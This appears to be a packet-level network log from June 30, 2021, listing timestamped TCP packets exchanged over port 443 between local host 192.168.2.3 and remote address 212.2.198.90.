Jun 30, 2021 20:06:09.411757946 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.411766052 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.411781073 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.411802053 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.411803007 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.411823988 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.411833048 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.411839008 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.411864996 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.411890030 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.411899090 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.411911964 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.411931992 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.411931992 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.411957026 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.411967039 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.411978006 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.411998034 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.412003994 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.412019014 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.412035942 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.412039995 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.412056923 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.412070990 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.412076950 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.412096977 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.412103891 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.412117004 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.412138939 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.412142038 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.412163019 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.412163973 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.412187099 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.412199974 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.412206888 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.412226915 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.412236929 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.412247896 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.412267923 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.412271976 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.412288904 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.412308931 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.412324905 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.412328005 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.412345886 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.412358046 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.412364960 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.412386894 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.412388086 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.412409067 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.412409067 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.412432909 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.412447929 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.412455082 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.412476063 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.412482977 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.412496090 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.412517071 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.412519932 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.412554026 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.412637949 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.412663937 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.412683010 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.412686110 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.412707090 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.412714958 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.412729979 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.412738085 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.412751913 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.412765026 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.412796974 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.433643103 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.461399078 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.461441994 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.461457968 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.461483955 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.461508036 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.461532116 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.461554050 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.461555004 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.461575031 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.461596012 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.461616993 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.461637974 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.461646080 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.461662054 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.461683035 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.461683989 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.461707115 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.461709023 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.461728096 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.461747885 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.461749077 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.461769104 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.461783886 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.461788893 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.461810112 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.461810112 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.461838961 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.461843014 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.461862087 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.461865902 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.461884022 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.461894989 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.461905003 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.461924076 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.461925030 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.461946964 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.461961031 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.461970091 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.461992025 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.461996078 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.462016106 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.462032080 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.462037086 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.462058067 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.462065935 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.462081909 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.462104082 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.462106943 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.462125063 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.462132931 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.462146997 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.462166071 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.462167978 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.462184906 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.462208033 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.462213039 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.462230921 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.462239981 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.462254047 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.462275028 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.462276936 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.462301970 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.462313890 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.462325096 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.462338924 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.462347031 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.462368011 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.462376118 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.462389946 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.462399960 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.462410927 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.462426901 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.462435007 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.462454081 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.462455034 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.462480068 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.462490082 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.462503910 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.462521076 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.462524891 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.462546110 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.462553978 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.462567091 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.462588072 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.462590933 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.462610006 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.462631941 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.462635040 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.462657928 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.462666035 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.462680101 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.462698936 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.462699890 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.462719917 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.462730885 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.462743044 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.462763071 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.462770939 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.462785006 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.462805033 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.462806940 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.462829113 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.462830067 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.462852955 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.462862968 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.462874889 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.462894917 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.462897062 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.462918043 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.462933064 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.462939978 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.462960005 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.462960958 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.462981939 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.462997913 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.463006020 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.463027000 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.463028908 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.463049889 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.463067055 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.463071108 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.463092089 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.463104963 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.463112116 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.463148117 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.463170052 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.463187933 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.463224888 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.474494934 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.474534035 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.474558115 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.474581003 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.474601030 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.474622011 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.474639893 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.474653959 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.474664927 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.474688053 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.474709034 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.474730015 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.474740982 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.474750996 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.474770069 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.474793911 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.474858999 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.474883080 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.474905014 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.474905014 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.474927902 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.474948883 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.474963903 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.474983931 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.475016117 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.475428104 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.475467920 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.475486040 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.475517035 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.475519896 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.475544930 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.475557089 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.475578070 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.475595951 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.475630045 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.475660086 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.475682974 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.475712061 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.475713968 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.475744963 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.475747108 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.475773096 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.475778103 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.475799084 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.475819111 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.475840092 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.475851059 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.475871086 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.475883007 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.475898027 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.475914001 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.475931883 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.475945950 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.475959063 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.475979090 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.476006985 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.476008892 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.476036072 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.476048946 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.476067066 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.476089954 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.477982044 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.478013992 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.478101969 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.478149891 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.478389025 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.478465080 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.478509903 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.478566885 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.478615046 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.478677034 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.478724003 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.478779078 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.478813887 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.478872061 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.479021072 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.479082108 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.479809046 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.479865074 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.479902029 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.479904890 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.479939938 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.479947090 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.479973078 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.479998112 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.479999065 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.480040073 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.480070114 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.480077982 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.480104923 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.480138063 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.480151892 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.480195045 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.480209112 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.480242968 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.480261087 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.480290890 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.480297089 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.480334044 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.480346918 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.480374098 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.480396032 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.480416059 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.480446100 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.480454922 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.480483055 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.480492115 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.480506897 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.480530977 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.480542898 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.480571032 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.480591059 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.480618000 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.480633020 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.480664015 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.480679035 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.480703115 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.480717897 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.480742931 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.480772972 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.480781078 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.480807066 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.480819941 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.480834961 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.480859041 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.480895996 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.480911016 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.480927944 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.480942011 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.480956078 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.480986118 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.480998993 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.481024027 CEST	443	49720	212.2.198.90	192.168.2.3
